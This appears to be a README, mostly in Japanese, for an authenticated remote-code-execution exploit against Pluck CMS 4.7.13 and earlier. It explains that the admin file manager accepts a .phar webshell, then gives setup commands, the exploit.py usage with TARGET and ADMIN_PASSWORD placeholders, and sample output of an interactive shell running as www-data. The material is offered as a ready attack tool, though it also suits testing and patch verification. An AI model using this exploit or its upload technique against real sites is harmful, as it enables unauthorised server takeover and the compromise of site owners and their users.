
認証済みのRCEエクスプロイト。Pluck CMS <= 4.7.13の検証されていないファイルアップロードを悪用します。PHPウェブシェルをアップロードし、対話型コマンドシェルを提供します。
Pluck CMS 4.7.13 以前における認証済みリモートコード実行。管理画面のファイルマネージャー (
admin.php?action=files) はファイル拡張子を検証しないため、.pharファイルのアップロードが可能となり、Apache がそれを PHP として実行します。このエンドポイントにウェブシェルをアップロードすると、ウェブサーバーユーザーとして RCE が発生します。
shell.phar としてアップロードします。id を実行することで実行を確認します。python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests prompt_toolkit
# Pluck at root
python3 exploit.py -u http://TARGET -p ADMIN_PASSWORD
# Pluck in a subdirectory
python3 exploit.py -u http://TARGET -p ADMIN_PASSWORD --path /pluck
例:
$ python3 exploit.py -u http://10.10.10.10 -p admin123
[*] Logging in...
[+] Logged in
[*] Uploading webshell...
[+] Webshell uploaded
[*] Shell URL: http://10.10.10.10/files/shell.phar
[+] Target is vulnerable! Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] Shell opened. Type 'exit' or Ctrl+C to quit.
Shell> whoami
www-data